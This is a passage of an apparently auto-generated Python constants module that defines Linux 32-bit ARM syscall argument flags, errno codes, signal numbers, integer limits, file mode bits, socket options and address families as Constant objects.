Constant('__ARGS_sendmsg',0) __ARGS_recvmsg = Constant('__ARGS_recvmsg',0) __ARGS_semop = Constant('__ARGS_semop',0) __ARGS_semget = Constant('__ARGS_semget',0) __ARGS_semctl = Constant('__ARGS_semctl',0) __ARGS_msgsnd = Constant('__ARGS_msgsnd',0) __ARGS_msgrcv = Constant('__ARGS_msgrcv',0) __ARGS_msgget = Constant('__ARGS_msgget',0) __ARGS_msgctl = Constant('__ARGS_msgctl',0) __ARGS_shmat = Constant('__ARGS_shmat',0) __ARGS_shmdt = Constant('__ARGS_shmdt',0) __ARGS_shmget = Constant('__ARGS_shmget',0) __ARGS_shmctl = Constant('__ARGS_shmctl',0) __ARGS_add_key = Constant('__ARGS_add_key',1) __ARGS_request_key = Constant('__ARGS_request_key',1) __ARGS_keyctl = Constant('__ARGS_keyctl',0) __ARGS_vserver = Constant('__ARGS_vserver',0) __ARGS_ioprio_set = Constant('__ARGS_ioprio_set',0) __ARGS_ioprio_get = Constant('__ARGS_ioprio_get',0) __ARGS_inotify_init = Constant('__ARGS_inotify_init',0) __ARGS_inotify_add_watch = Constant('__ARGS_inotify_add_watch',0) __ARGS_inotify_rm_watch = Constant('__ARGS_inotify_rm_watch',0) __ARGS_mbind = Constant('__ARGS_mbind',1) __ARGS_get_mempolicy = Constant('__ARGS_get_mempolicy',1) __ARGS_set_mempolicy = Constant('__ARGS_set_mempolicy',1) __ARGS_openat = Constant('__ARGS_openat',0) __ARGS_mkdirat = Constant('__ARGS_mkdirat',0) __ARGS_mknodat = Constant('__ARGS_mknodat',0) __ARGS_fchownat = Constant('__ARGS_fchownat',1) __ARGS_futimesat = Constant('__ARGS_futimesat',0) __ARGS_fstatat64 = Constant('__ARGS_fstatat64',0) __ARGS_unlinkat = Constant('__ARGS_unlinkat',0) __ARGS_renameat = Constant('__ARGS_renameat',0) __ARGS_linkat = Constant('__ARGS_linkat',1) __ARGS_symlinkat = Constant('__ARGS_symlinkat',0) __ARGS_readlinkat = Constant('__ARGS_readlinkat',0) __ARGS_fchmodat = Constant('__ARGS_fchmodat',0) __ARGS_faccessat = Constant('__ARGS_faccessat',0) __ARGS_unshare = Constant('__ARGS_unshare',0) __ARGS_set_robust_list = Constant('__ARGS_set_robust_list',0) __ARGS_get_robust_list = Constant('__ARGS_get_robust_list',0) __ARGS_splice = Constant('__ARGS_splice',1) __ARGS_arm_sync_file_range = Constant('__ARGS_arm_sync_file_range',0) __ARGS_sync_file_range2 = Constant('__ARGS_sync_file_range2',0) __ARGS_tee = Constant('__ARGS_tee',0) __ARGS_vmsplice = Constant('__ARGS_vmsplice',0) __ARGS_move_pages = Constant('__ARGS_move_pages',1) __ARGS_getcpu = Constant('__ARGS_getcpu',0) __ARGS_kexec_load = Constant('__ARGS_kexec_load',0) __ARGS_utimensat = Constant('__ARGS_utimensat',0) __ARGS_signalfd = Constant('__ARGS_signalfd',0) __ARGS_timerfd = Constant('__ARGS_timerfd',0) __ARGS_eventfd = Constant('__ARGS_eventfd',0) __ARGS_fallocate = Constant('__ARGS_fallocate',0) __ARGS_timerfd_settime = Constant('__ARGS_timerfd_settime',0) __ARGS_timerfd_gettime = Constant('__ARGS_timerfd_gettime',0) __ARGS_signalfd4 = Constant('__ARGS_signalfd4',0) __ARGS_eventfd2 = Constant('__ARGS_eventfd2',0) __ARGS_epoll_create1 = Constant('__ARGS_epoll_create1',0) __ARGS_dup3 = Constant('__ARGS_dup3',0) __ARGS_pipe2 = Constant('__ARGS_pipe2',0) __ARGS_inotify_init1 = Constant('__ARGS_inotify_init1',0) __ARGS_preadv = Constant('__ARGS_preadv',0) __ARGS_pwritev = Constant('__ARGS_pwritev',0) __ARGS_rt_tgsigqueueinfo = Constant('__ARGS_rt_tgsigqueueinfo',0) __ARGS_perf_event_open = Constant('__ARGS_perf_event_open',1) __ARGS_recvmmsg = Constant('__ARGS_recvmmsg',1) __ARGS_accept4 = Constant('__ARGS_accept4',0) __ARGS_fanotify_init = Constant('__ARGS_fanotify_init',0) __ARGS_fanotify_mark = Constant('__ARGS_fanotify_mark',1) __ARGS_prlimit64 = Constant('__ARGS_prlimit64',0) __ARGS_name_to_handle_at = Constant('__ARGS_name_to_handle_at',1) __ARGS_open_by_handle_at = Constant('__ARGS_open_by_handle_at',0) __ARGS_clock_adjtime = Constant('__ARGS_clock_adjtime',0) __ARGS_syncfs = Constant('__ARGS_syncfs',0) __ARGS_sendmmsg = Constant('__ARGS_sendmmsg',0) __ARGS_setns = Constant('__ARGS_setns',0) __ARGS_process_vm_readv = Constant('__ARGS_process_vm_readv',1) __ARGS_process_vm_writev = Constant('__ARGS_process_vm_writev',1) __ARGS_kcmp = Constant('__ARGS_kcmp',1) __ARGS_finit_module = Constant('__ARGS_finit_module',0) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = 